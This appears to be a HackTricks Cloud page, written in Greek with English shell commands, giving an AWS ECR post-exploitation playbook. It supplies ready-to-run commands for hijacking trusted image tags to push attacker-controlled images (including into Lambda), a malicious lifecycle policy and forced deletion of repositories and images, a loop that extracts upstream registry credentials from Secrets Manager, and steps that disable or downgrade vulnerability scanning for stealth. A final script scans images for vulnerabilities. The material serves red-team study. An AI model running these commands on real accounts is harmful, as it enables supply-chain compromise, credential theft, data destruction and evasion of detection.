AWS - ECR Post Exploitation
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
ECR
Για περισσότερες πληροφορίες δείτε
Login, Pull & Push
# Docker login into ecr
## For public repo (always use us-east-1)
aws ecr-public get-login-password --region us-east-1 | docker login --username AWS --password-stdin public.ecr.aws/<random-id>
## For private repo
aws ecr get-login-password --profile <profile_name> --region <region> | docker login --username AWS --password-stdin <account_id>.dkr.ecr.<region>.amazonaws.com
## If you need to acces an image from a repo if a different account, in <account_id> set the account number of the other account
# Download
docker pull <account_id>.dkr.ecr.<region>.amazonaws.com/<repo_name>:latest
## If you still have the error "Requested image not found"
## It might be because the tag "latest" doesn't exit
## Get valid tags with:
TOKEN=$(aws --profile <profile> ecr get-authorization-token --output text --query 'authorizationData[].authorizationToken')
curl -i -H "Authorization: Basic $TOKEN" https://<account_id>.dkr.ecr.<region>.amazonaws.com/v2/<img_name>/tags/list
# Inspect the image
docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0
docker inspect <account id>.dkr.ecr.<region>.amazonaws.com/<image>:<tag> # Inspect the image indicating the URL
# Upload (example uploading purplepanda with tag latest)
docker tag purplepanda:latest <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
docker push <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
# Downloading without Docker
# List digests
aws ecr batch-get-image --repository-name level2 \
--registry-id 653711331788 \
--image-ids imageTag=latest | jq '.images[].imageManifest | fromjson'
## Download a digest
aws ecr get-download-url-for-layer \
--repository-name level2 \
--registry-id 653711331788 \
--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"
Μετά τη λήψη των εικόνων θα πρέπει να τις ελέγξετε για ευαίσθητες πληροφορίες:
Αντικατάσταση ενός αξιόπιστου tag μέσω ecr:PutImage (Tag Hijacking / Supply Chain)
Εάν οι καταναλωτές αναπτύσσουν με βάση tag (για παράδειγμα stable, prod, latest) και τα tags είναι μεταβατά, το ecr:PutImage μπορεί να χρησιμοποιηθεί για να ανακατευθύνει ένα αξιόπιστο tag σε περιεχόμενο ελεγχόμενο από επιτιθέμενο ανεβάζοντας ένα image manifest υπό αυτό το tag.
Μια συνηθισμένη προσέγγιση είναι να αντιγράψετε το manifest ενός υπάρχοντος tag που ελέγχεται από τον επιτιθέμενο (ή digest) και να αντικαταστήσετε με αυτό το αξιόπιστο tag.
REGION=us-east-1
REPO="<repo_name>"
SRC_TAG="backdoor" # attacker-controlled tag already present in the repository
DST_TAG="stable" # trusted tag used by downstream systems
# 1) Fetch the manifest behind the attacker tag
MANIFEST="$(aws ecr batch-get-image \
--region "$REGION" \
--repository-name "$REPO" \
--image-ids imageTag="$SRC_TAG" \
--query 'images[0].imageManifest' \
--output text)"
# 2) Overwrite the trusted tag with that manifest
aws ecr put-image \
--region "$REGION" \
--repository-name "$REPO" \
--image-tag "$DST_TAG" \
--image-manifest "$MANIFEST"
# 3) Verify both tags now point to the same digest
aws ecr describe-images --region "$REGION" --repository-name "$REPO" --image-ids imageTag="$DST_TAG" --query 'imageDetails[0].imageDigest' --output text
aws ecr describe-images --region "$REGION" --repository-name "$REPO" --image-ids imageTag="$SRC_TAG" --query 'imageDetails[0].imageDigest' --output text
Επίπτωση: οποιοδήποτε workload που τραβάει .../$REPO:$DST_TAG θα λάβει περιεχόμενο επιλεγμένο από τον επιτιθέμενο χωρίς καμία αλλαγή στα IaC, στα Kubernetes manifests ή στα task definitions.
Παράδειγμα downstream καταναλωτή: Lambda εικόνες κοντέινερ που ανανεώνονται αυτόματα κατά τις ενημερώσεις tag
Εάν μια λειτουργία Lambda αναπτυχθεί ως εικόνα κοντέινερ (PackageType=Image) και χρησιμοποιεί ένα ECR tag (π.χ. :stable, :prod) αντί για digest, η αντικατάσταση αυτής της tag μπορεί να μετατρέψει την παραποίηση της supply-chain σε εκτέλεση κώδικα εντός του ρόλου εκτέλεσης του Lambda μόλις η λειτουργία ανανεωθεί.
Πώς να εντοπίσετε αυτή την κατάσταση:
REGION=us-east-1
# 1) Find image-based Lambda functions and their ImageUri
aws lambda list-functions --region "$REGION" \
--query "Functions[?PackageType=='Image'].[FunctionName]" --output text |
tr '\t' '\n' | while read -r fn; do
img="$(aws lambda get-function --region "$REGION" --function-name "$fn" --query 'Code.ImageUri' --output text 2>/dev/null || true)"
[ -n "$img" ] && printf '%s\t%s\n' "$fn" "$img"
done
# 2) Check whether a function references a mutable tag (contains ":<tag>")
# Prefer digest pinning (contains "@sha256:") in well-hardened deployments.
Πώς γίνεται συχνά η ανανέωση:
- CI/CD ή GitOps καλεί τακτικά το
lambda:UpdateFunctionCode(ακόμη και με το ίδιοImageUri) για να αναγκάσει το Lambda να επιλύσει ξανά το tag. - Η αυτοματοποίηση με ενεργοποίηση από συμβάντα παρακολουθεί γεγονότα εικόνων ECR (push/tag updates) και ενεργοποιεί ένα refresher Lambda/automation.
Εάν μπορείτε να αντικαταστήσετε το αξιόπιστο tag και υπάρχει μηχανισμός ανανέωσης, η επόμενη εκκίνηση της function θα εκτελέσει κώδικα υπό έλεγχο του attacker, ο οποίος στη συνέχεια μπορεί να διαβάσει environment variables, να αποκτήσει πρόσβαση σε network resources, και να καλέσει AWS APIs χρησιμοποιώντας το Lambda role (για παράδειγμα, secretsmanager:GetSecretValue).
ecr:PutLifecyclePolicy | ecr:DeleteRepository | ecr-public:DeleteRepository | ecr:BatchDeleteImage | ecr-public:BatchDeleteImage
Ένας attacker με οποιαδήποτε από αυτές τις άδειες μπορεί να δημιουργήσει ή τροποποιήσει ένα lifecycle policy για να διαγράψει όλες τις εικόνες στο repository και στη συνέχεια να διαγράψει ολόκληρο το ECR repository. Αυτό θα είχε ως αποτέλεσμα την απώλεια όλων των container images που αποθηκεύονται στο repository.
# Create a JSON file with the malicious lifecycle policy
echo '{
"rules": [
{
"rulePriority": 1,
"description": "Delete all images",
"selection": {
"tagStatus": "any",
"countType": "imageCountMoreThan",
"countNumber": 0
},
"action": {
"type": "expire"
}
}
]
}' > malicious_policy.json
# Apply the malicious lifecycle policy to the ECR repository
aws ecr put-lifecycle-policy --repository-name your-ecr-repo-name --lifecycle-policy-text file://malicious_policy.json
# Delete the ECR repository
aws ecr delete-repository --repository-name your-ecr-repo-name --force
# Delete the ECR public repository
aws ecr-public delete-repository --repository-name your-ecr-repo-name --force
# Delete multiple images from the ECR repository
aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
# Delete multiple images from the ECR public repository
aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
Εξαγωγή διαπιστευτηρίων upstream registry από ECR Pull‑Through Cache (PTC)
Εάν το ECR Pull‑Through Cache είναι διαμορφωμένο για authenticated upstream registries (Docker Hub, GHCR, ACR, κ.λπ.), τα upstream credentials αποθηκεύονται στο AWS Secrets Manager με προβλέψιμο πρόθεμα ονόματος: ecr-pullthroughcache/. Οι operators μερικές φορές χορηγούν στους ECR admins ευρεία πρόσβαση ανάγνωσης στο Secrets Manager, επιτρέποντας την εξαγωγή διαπιστευτηρίων και την επαναχρησιμοποίησή τους εκτός AWS.
Απαιτήσεις
- secretsmanager:ListSecrets
- secretsmanager:GetSecretValue
Απαρίθμηση υποψήφιων PTC μυστικών
aws secretsmanager list-secrets \
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].Name" \
--output text
Εξάγετε τα αποκαλυφθέντα secrets και αναλύστε κοινά πεδία
for s in $(aws secretsmanager list-secrets \
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].ARN" --output text); do
aws secretsmanager get-secret-value --secret-id "$s" \
--query SecretString --output text | tee /tmp/ptc_secret.json
jq -r '.username? // .user? // empty' /tmp/ptc_secret.json || true
jq -r '.password? // .token? // empty' /tmp/ptc_secret.json || true
done
Προαιρετικό: επαληθεύστε τα leaked creds έναντι του upstream (read‑only login)
echo "$DOCKERHUB_PASSWORD" | docker login --username "$DOCKERHUB_USERNAME" --password-stdin registry-1.docker.io
Impact
- Η ανάγνωση αυτών των εγγραφών του Secrets Manager αποφέρει επαναχρησιμοποιήσιμα upstream registry διαπιστευτήρια (username/password ή token), τα οποία μπορούν να καταχραστούν εκτός AWS για να τραβήξουν ιδιωτικές εικόνες ή να αποκτήσουν πρόσβαση σε επιπλέον αποθετήρια ανάλογα με τα upstream δικαιώματα.
Registry-level stealth: απενεργοποιήστε ή υποβαθμίστε το scanning μέσω ecr:PutRegistryScanningConfiguration
Ένας επιτιθέμενος με δικαιώματα ECR σε επίπεδο registry μπορεί αθόρυβα να μειώσει ή να απενεργοποιήσει τον αυτόματο έλεγχο ευπαθειών για ΟΛΑ τα αποθετήρια, θέτοντας τη ρύθμιση σάρωσης του registry σε BASIC χωρίς κανόνες scan-on-push. Αυτό αποτρέπει τις νέες αποστολές εικόνων από το να σαρώνονται αυτόματα, κρύβοντας ευάλωτες ή κακόβουλες εικόνες.
Requirements
- ecr:PutRegistryScanningConfiguration
- ecr:GetRegistryScanningConfiguration
- ecr:PutImageScanningConfiguration (optional, per‑repo)
- ecr:DescribeImages, ecr:DescribeImageScanFindings (verification)
Registry-wide downgrade to manual (no auto scans)
REGION=us-east-1
# Read current config (save to restore later)
aws ecr get-registry-scanning-configuration --region "$REGION"
# Set BASIC scanning with no rules (results in MANUAL scanning only)
aws ecr put-registry-scanning-configuration \
--region "$REGION" \
--scan-type BASIC \
--rules '[]'
Δοκιμή με repo και image
acct=$(aws sts get-caller-identity --query Account --output text)
repo=ht-scan-stealth
aws ecr create-repository --region "$REGION" --repository-name "$repo" >/dev/null 2>&1 || true
aws ecr get-login-password --region "$REGION" | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com
printf 'FROM alpine:3.19\nRUN echo STEALTH > /etc/marker\n' > Dockerfile
docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${repo}:test .
docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${repo}:test
# Verify no scan ran automatically
aws ecr describe-images --region "$REGION" --repository-name "$repo" --image-ids imageTag=test --query 'imageDetails[0].imageScanStatus'
# Optional: will error with ScanNotFoundException if no scan exists
aws ecr describe-image-scan-findings --region "$REGION" --repository-name "$repo" --image-id imageTag=test || true
Προαιρετικό: περαιτέρω υποβάθμιση στο επίπεδο του αποθετηρίου
# Disable scan-on-push for a specific repository
aws ecr put-image-scanning-configuration \
--region "$REGION" \
--repository-name "$repo" \
--image-scanning-configuration scanOnPush=false
Επίδραση
- Οι νέες αποστολές image σε όλο το registry δεν σαρώνονται αυτόματα, μειώνοντας την ορατότητα ευάλωτου ή κακόβουλου περιεχομένου και καθυστερώντας την ανίχνευση μέχρι να ξεκινήσει χειροκίνητη σάρωση.
Υποβάθμιση του engine σάρωσης σε όλο το registry μέσω ecr:PutAccountSetting (AWS_NATIVE -> CLAIR)
Μειώστε την ποιότητα ανίχνευσης ευπαθειών σε ολόκληρο το registry αλλάζοντας τον BASIC scan engine από το προεπιλεγμένο AWS_NATIVE στο legacy CLAIR engine. Αυτό δεν απενεργοποιεί τη σάρωση αλλά μπορεί να αλλάξει ουσιαστικά τα ευρήματα/την κάλυψη. Συνδυάστε με μια BASIC registry scanning configuration χωρίς κανόνες για να καταστήσετε τις σαρώσεις μόνο χειροκίνητες.
Απαιτήσεις
ecr:PutAccountSetting,ecr:GetAccountSetting- (Optional)
ecr:PutRegistryScanningConfiguration,ecr:GetRegistryScanningConfiguration
Επίδραση
- Η ρύθμιση του registry
BASIC_SCAN_TYPE_VERSIONορίζεται σεCLAIR, οπότε οι επόμενες BASIC σαρώσεις εκτελούνται με τον υποβαθμισμένο engine. Το CloudTrail καταγράφει την κλήση APIPutAccountSetting.
Βήματα
REGION=us-east-1
# 1) Read current value so you can restore it later
aws ecr get-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION || true
# 2) Downgrade BASIC scan engine registry‑wide to CLAIR
aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value CLAIR
# 3) Verify the setting
aws ecr get-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION
# 4) (Optional stealth) switch registry scanning to BASIC with no rules (manual‑only scans)
aws ecr put-registry-scanning-configuration --region $REGION --scan-type BASIC --rules '[]' || true
# 5) Restore to AWS_NATIVE when finished to avoid side effects
aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value AWS_NATIVE
Σάρωση εικόνων ECR για ευπάθειες
#!/bin/bash
# This script pulls all images from ECR and runs snyk on them showing vulnerabilities for all images
region=<region>
profile=<aws_profile>
registryId=$(aws ecr describe-registry --region $region --profile $profile --output json | jq -r '.registryId')
# Configure docker creds
aws ecr get-login-password --region $region --profile $profile | docker login --username AWS --password-stdin $registryId.dkr.ecr.$region.amazonaws.com
while read -r repo; do
echo "Working on repository $repo"
digest=$(aws ecr describe-images --repository-name $repo --image-ids imageTag=latest --region $region --profile $profile --output json | jq -r '.imageDetails[] | .imageDigest')
if [ -z "$digest" ]
then
echo "No images! Empty repository"
continue
fi
url=$registryId.dkr.ecr.$region.amazonaws.com/$repo@$digest
echo "Pulling $url"
docker pull $url
echo "Scanning $url"
snyk container test $url --json-file-output=./snyk/$repo.json --severity-threshold=high
# trivy image -f json -o ./trivy/$repo.json --severity HIGH,CRITICAL $url
# echo "Removing image $url"
# docker image rm $url
done < <(aws ecr describe-repositories --region $region --profile $profile --output json | jq -r '.repositories[] | .repositoryName')
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
HackTricks Cloud

